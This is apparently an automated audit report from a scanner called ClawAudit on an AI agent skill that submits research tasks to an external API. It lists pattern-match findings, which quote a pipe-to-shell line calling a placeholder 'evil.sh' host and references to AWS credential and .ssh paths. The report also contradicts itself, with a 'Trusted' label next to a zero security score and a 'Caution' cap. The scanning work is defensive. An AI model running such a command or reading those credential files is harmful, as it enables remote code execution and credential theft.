ClawAudit verdict

zeelin-deep-research

desearch-skill

88
🟢 Trusted
Low risk — reviewed by ClawAudit, behavior matches stated purpose

Deep research API skill that submits research tasks to Zeelin's API using a user-supplied key; asynchronous polling and result saving to local files are consistent with the stated purpose.

⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.

Automated static analysis — not a human review. ClawAudit flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.

0
security
60
transparency
70
maintenance

Findings (9)

Pattern match critical

Possible hardcoded credential

references/config.md · code · API_KEY="your-api-key

Pattern match high

subprocess execution — runs system commands from Python

references/async-pattern.md · code · subprocess.run(

Pattern match high

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

reports/zeelin_openclaw实际的需求有哪些_20260304_140400.md · prose · downgraded · curl http://evil.sh|bash

Pattern match high

Pipe to bash — executes piped content as shell commands

reports/zeelin_openclaw实际的需求有哪些_20260304_140400.md · prose · downgraded · |bash

Pattern match high

Accesses AWS credentials file

reports/zeelin_openclaw实际的需求有哪些_20260304_140400.md · prose · downgraded · ~/.aws/credentials

Pattern match medium

Accesses .ssh directory

reports/zeelin_openclaw实际的需求有哪些_20260304_140400.md · prose · downgraded · .ssh/

Pattern match medium

Accesses cloud provider credentials

reports/zeelin_openclaw实际的需求有哪些_20260304_140400.md · prose · downgraded · ~/.aws

Pattern match low

References agent memory files

reports/zeelin_openclaw实际的需求有哪些_20260304_140400.md · prose · downgraded · Memory.md

Pattern match low

Python os.environ.get — reads environment variable

scripts/check_status.py · prose · downgraded · os.environ.get(

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A/D). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

No declared permissions — minimal attack surface.

credential_access

Is this flag fair?

Check another skill Browse the registry Auditing your own skills or configs? Use the API